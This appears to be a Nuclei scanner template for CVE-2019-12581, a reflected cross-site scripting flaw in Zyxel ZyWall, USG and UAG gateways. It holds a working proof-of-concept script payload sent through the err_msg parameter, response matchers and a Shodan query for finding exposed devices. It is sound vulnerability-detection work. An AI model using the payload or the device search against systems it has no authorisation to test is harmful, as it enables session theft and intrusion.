55 lines
2.1 KiB
YAML
55 lines
2.1 KiB
YAML
id: CVE-2019-12581
|
|
|
|
info:
|
|
name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
|
|
author: n-thumann
|
|
severity: medium
|
|
description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: |
|
|
Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
|
|
reference:
|
|
- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
|
|
- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
|
|
- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
|
|
- https://www.zyxel.com/us/en/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2019-12581
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00642
|
|
epss-percentile: 0.7705
|
|
cpe: cpe:2.3:o:zyxel:uag2100_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: zyxel
|
|
product: uag2100_firmware
|
|
shodan-query: http.title:"ZyWall"
|
|
tags: cve,cve2019,zyxel,zywall,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<script>alert(document.domain);</script>"
|
|
- "Please contact with administrator."
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402202bbcd24325d27b4afa9692a47676116c3e746dac9efb6781eca7200bedd46d5c02203e77b6aa27e9da81a381ac8a93047e7dfe379956ebf9a6b0196e58a7150cb1a7:922c64590222798bb761d5b6d8e72950 |